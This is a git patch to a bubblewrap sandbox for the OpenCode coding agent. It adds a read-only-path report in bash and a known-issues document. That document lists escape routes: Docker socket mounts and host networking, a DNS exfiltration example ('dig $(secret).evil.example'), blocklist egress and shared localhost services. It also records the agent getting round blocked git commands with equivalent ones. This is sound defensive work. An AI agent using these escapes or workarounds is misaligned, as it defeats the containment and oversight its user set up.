From 55d217e3cf6dc62b2559de523e8a5ff4b7230bfc Mon Sep 17 00:00:00 2001 From: raptorggi Date: Fri, 30 Oct 2026 05:52:37 -0700 Subject: [PATCH] Report read-only paths after a session; known issues document - run (on exit) and doctor scan the OpenCode log for 'Read-only file system' / EROFS, map the agent's XDG mirror back to the home directory and print a ready OCSB_RW_HOME line; writable, hidden and protected project paths are skipped - docs/known-issues.md: open gaps and planned work (Docker, blocklist egress, DNS, shared network namespace, resource limits, undo, planted repos, credentials, agents working around guards); linked from both READMEs --- README.md | 4 ++- README.ru.md | 4 ++- docs/known-issues.md | 58 ++++++++++++++++++++++++++++++++++++++++++++ lib/doctor.sh | 1 + lib/run.sh | 52 ++++++++++++++++++++++++++++++++++++++- 5 files changed, 116 insertions(+), 3 deletions(-) create mode 100644 docs/known-issues.md diff --git a/README.md b/README.md index b345791..f251afc 100644 --- a/README.md +++ b/README.md @@ -271,6 +271,8 @@ OpenCode runs with this group, so the agent and everything it starts are covered ## Security model and limits +Open gaps and planned work: [docs/known-issues.md](docs/known-issues.md). + The goal is to contain an agent that makes mistakes — wrong paths, `rm -rf` in the wrong place, requests to production — not to hold a determined attacker. @@ -295,7 +297,7 @@ place, requests to production — not to hold a determined attacker. | Symptom | Cause and fix | |---|---| -| `Read-only file system` | path outside the writable set. Add it to `OCSB_RW` if the agent really needs it | +| `Read-only file system`, an MCP server or tool fails to start | path outside the writable set. After each session (and in `doctor`) `run` lists the read-only paths found in the OpenCode log with a ready line, e.g. `OCSB_RW_HOME+=(.local/share/pnpm)`; add it to `sandbox.conf` (or `local/sandbox.conf`) and restart. Elsewhere: `OCSB_RW`, if the agent really needs it | | proxy `403`, `CONNECT tunnel failed` | host not allowed: add `allow` (or `connect host:port` for non-443) to `egress.conf`, run `opencode-sandbox egress up` | | git over SSH: `Permission denied (publickey)` | no keys in ssh-agent: `ssh-add` before `run` | | git over SSH: `403` | add `connect :` to `egress.conf` | diff --git a/README.ru.md b/README.ru.md index f93bc85..06cd585 100644 --- a/README.ru.md +++ b/README.ru.md @@ -270,6 +270,8 @@ opencode-sandbox run ## Модель безопасности и ограничения +Открытые проблемы и планы (на английском): [docs/known-issues.md](docs/known-issues.md). + Цель — удержать агента, который ошибается (не тот путь, `rm -rf` не там, запрос в прод), а не остановить целенаправленного злоумышленника. @@ -296,7 +298,7 @@ opencode-sandbox run | Симптом | Причина и что делать | |---|---| -| `Read-only file system` | путь вне разрешённых на запись. Если агенту он правда нужен — добавьте в `OCSB_RW` | +| `Read-only file system`, не стартует MCP-сервер или инструмент | путь вне разрешённых на запись. После каждой сессии (и в `doctor`) `run` перечисляет пути, упёршиеся в «только чтение», из лога OpenCode с готовой строкой, например `OCSB_RW_HOME+=(.local/share/pnpm)`; добавьте её в `sandbox.conf` (или `local/sandbox.conf`) и перезапустите. Остальное — `OCSB_RW`, если агенту путь правда нужен | | `403` от прокси, `CONNECT tunnel failed` | хост не разрешён: добавьте `allow` (или `connect host:port` для порта не 443) в `egress.conf`, выполните `opencode-sandbox egress up` | | git по SSH: `Permission denied (publickey)` | в ssh-agent нет ключей: `ssh-add` перед `run` | | git по SSH: `403` | добавьте `connect <хост>:<порт>` в `egress.conf` | diff --git a/docs/known-issues.md b/docs/known-issues.md new file mode 100644 index 0000000..92856f8 --- /dev/null +++ b/docs/known-issues.md @@ -0,0 +1,58 @@ +# Known issues and deferred work + +Gaps that are known and not closed yet, roughly by impact. The design goal is unchanged: +contain an agent that makes mistakes, not stop a determined attacker. See also +[Security model and limits](../README.md#security-model-and-limits). + +## Security + +- **Docker is a way out — of the filesystem and of the egress filter.** The agent talks to the + host's Docker socket: `docker run -v /:/host` sees the whole host, and containers are started + by dockerd, not by a process in the netlock group, so `docker run --network host` reaches the + internet without squid (the proxy in `DOCKER_CONFIG` is only a default). + *Plan:* a filtering proxy in front of the socket — no bind mounts outside the project and + worktrees, no `--privileged`, no `--network host`, containers only on a network whose only + way out is squid. Alternative: rootless Docker/Podman for the agent. +- **Egress is a blocklist.** Everything not blocked is allowed, so data can leave to any site, + not only to "allowed" hosts. *Option:* keep reads (GET/HEAD/CONNECT for known hosts) open and + allow writes (POST/PUT/PATCH) only to listed hosts; squid can match methods. An `allow-only` + mode for strict projects. +- **DNS is a side channel.** netlock lets the group reach the resolvers from `resolv.conf` + (usually `127.0.0.53`, which resolves anything), so `dig $(secret).evil.example` leaves + without the proxy. The agent does not need DNS — HTTP(S) and SSH go through the proxy. + *Plan:* drop the DNS rules from netlock (or allow DNS only to a resolver in the egress + container that answers for allowed names). +- **Shared network namespace.** Services on the host's `127.0.0.1` (dev databases, other dev + servers, debug ports) and abstract unix sockets (`@/tmp/.X11-unix/X0`, ICE, some desktop apps) + are reachable even with a private `/tmp`. Only `--unshare-net` plus a proxy socket (pasta / + slirp4netns) closes this, and then the agent loses direct access to its own stacks' ports. +- **No resource limits.** A fork bomb or an unbounded build can freeze the machine. + *Plan:* start the sandbox in `systemd-run --user --scope -p MemoryMax=… -p TasksMax=… -p + CPUWeight=…` (from the host side, before bwrap), configurable in `sandbox.conf`. +- **No undo for uncommitted work.** cc-safety-net blocks the common destructive git commands, + but the agent's own file tools overwrite anything in the project. *Option:* periodic + snapshots (`git stash create` stored under a private ref, or btrfs snapshots where available). +- **Planted repositories are detected, not prevented.** A `.git` the agent creates in a new + directory or a new worktree is reported after the session (`run`, `doctor`); a shell prompt + running `git status` there before the report still runs its config. +- **Credentials given to the agent are not scoped by the sandbox.** Tokens in `OCSB_ENV_FILE` + and the kubeconfig in `OCSB_KUBECONFIG` work with their full rights. Use the narrowest token + scopes; consider `ask` permissions for destructive CLI calls (`kubectl delete`, …). + +## Agent behaviour + +- **The agent works around blocks with equivalent commands** (e.g. `git show ref:path > path` + after `git checkout ref -- path` was blocked). *Plan:* a line in `opencode/AGENTS.md` — when a + guard blocks a command, do not reach the same result another way; explain the need to the + user. And avoid guards with an obvious equivalent: per-file `checkout`/`restore` rules of + cc-safety-net protect nothing while the file tools are allowed — candidates for the template's + `overrides` (`git.checkout-ref-path`, `git.checkout-double-dash`, `git.restore-unstaged`). + +## Usability + +- **Read-only paths for new tools.** `run` and `doctor` now report paths from the OpenCode log + that hit "Read-only file system", with a ready `OCSB_RW_HOME+=(…)` line. Tools that only print + the error to a terminal (bash tool output) are not in that log and are not reported. +- **First start of uvx/npx MCP servers can exceed OpenCode's connect timeout** while packages + download through the proxy; a second start uses the cache. Projects may raise `timeout` for + such servers. diff --git a/lib/doctor.sh b/lib/doctor.sh index cbc76d5..774c337 100644 --- a/lib/doctor.sh +++ b/lib/doctor.sh @@ -34,6 +34,7 @@ ocsb_doctor() { ocsb_egress status source "${OCSB_HOME}/lib/run.sh" if ocsb_git_audit; then echo " ✓ no planted git metadata in the project and worktrees"; else fail=1; fi + ocsb_erofs_report else echo "Project: none here (opencode-sandbox init)" fi diff --git a/lib/run.sh b/lib/run.sh index 4c8c2f5..dea6cd5 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -170,6 +170,54 @@ ocsb_git_audit() { return 1 } +# Paths the session could not write to (tools log "Read-only file system" / EROFS): mapped +# back from the agent's XDG mirror to the user's home and reported with a ready config line. +# Paths already writable, deliberately hidden, or inside the project (protected) are skipped. +# ocsb_erofs_report [byte offset into the OpenCode log] +ocsb_erofs_report() { + local log=${OCSB_STATE_DIR}/data/opencode/log/opencode.log from=${1:-0} s=${OCSB_STATE_DIR} + local p rel n out=() seen=" " skip + [[ -f ${log} ]] || return 0 + (($(stat -c %s "${log}") >= from)) || from=0 + while IFS= read -r p; do + case ${p} in + "${s}/data/"*) rel=.local/share/${p#"${s}/data/"} ;; + "${s}/state/"*) rel=.local/state/${p#"${s}/state/"} ;; + "${s}/config/"*) rel=.config/${p#"${s}/config/"} ;; + "${s}/cache/"*) rel=.cache/${p#"${s}/cache/"} ;; + "${OCSB_PROJECT_DIR}"/* | "${OCSB_WORKTREES_DIR}"/* | "${s}"/*) continue ;; + "${HOME}"/*) rel=${p#"${HOME}/"} ;; + *) rel=/${p#/} ;; + esac + # The directory to open: ~/.local/share/, ~/.local/bin, ~/.config/, ~/. + case ${rel} in + /*) rel=$(cut -d/ -f1-3 <<<"${rel}") ;; + .local/share/* | .local/state/*) rel=$(cut -d/ -f1-3 <<<"${rel}") ;; + .local/* | .config/*) rel=$(cut -d/ -f1-2 <<<"${rel}") ;; + *) rel=${rel%%/*} ;; + esac + rel=${rel%/.tmp*} + skip=0 + for n in "${OCSB_RW_HOME[@]}" "${OCSB_HIDE_HOME[@]}"; do + [[ ${rel} == "${n}" || ${rel} == "${n}"/* ]] && skip=1 + done + [[ ${skip} == 1 || ${seen} == *" ${rel} "* ]] && continue + seen+="${rel} " + out+=("${rel}") + done < <(tail -c +"$((from + 1))" "${log}" | grep -E 'Read-only file system|EROFS' | + sed -E 's/ (directory|cwd|path\.cwd)=[^ ]*//g' | grep -oE '/[A-Za-z0-9._@+/-]+' | grep -E "^(${HOME}|/opt|/usr/local|/var)/" | sort -u) + ((${#out[@]} == 0)) && return 0 + ocsb_warn "the session hit read-only paths (a tool or MCP server may have failed):" + for rel in "${out[@]}"; do + if [[ ${rel} == /* ]]; then + printf ' %s → if needed: OCSB_RW+=(%s)\n' "${rel}" "${rel}" >&2 + else + printf ' ~/%s → OCSB_RW_HOME+=(%s)\n' "${rel}" "${rel}" >&2 + fi + done + echo " add the line to .opencode-sandbox/sandbox.conf (or local/sandbox.conf just for you) and restart" >&2 +} + # bubblewrap arguments for the sandbox (variant: read-only host, writable project) ocsb_bwrap_args() { local p f uid @@ -310,7 +358,9 @@ ocsb_run() { fi ocsb_bwrap_args # On any exit (Ctrl-C too): stop the bus proxy, look for what the session planted - trap 'kill "${OCSB_DBUS_PROXY_PID:-}" 2>/dev/null; ocsb_git_audit || true' EXIT + # (global: the trap runs after this function has returned) + OCSB_LOG_START=$(stat -c %s "${OCSB_STATE_DIR}/data/opencode/log/opencode.log" 2>/dev/null || echo 0) + trap 'kill "${OCSB_DBUS_PROXY_PID:-}" 2>/dev/null; ocsb_git_audit || true; ocsb_erofs_report "${OCSB_LOG_START}"' EXIT cmd=(bwrap "${OCSB_BWRAP[@]}" -- "${cmd[@]}") # No permission prompts in the sandbox: permission rules from all configs form one # list, the last match wins, and OPENCODE_CONFIG_CONTENT is the last document.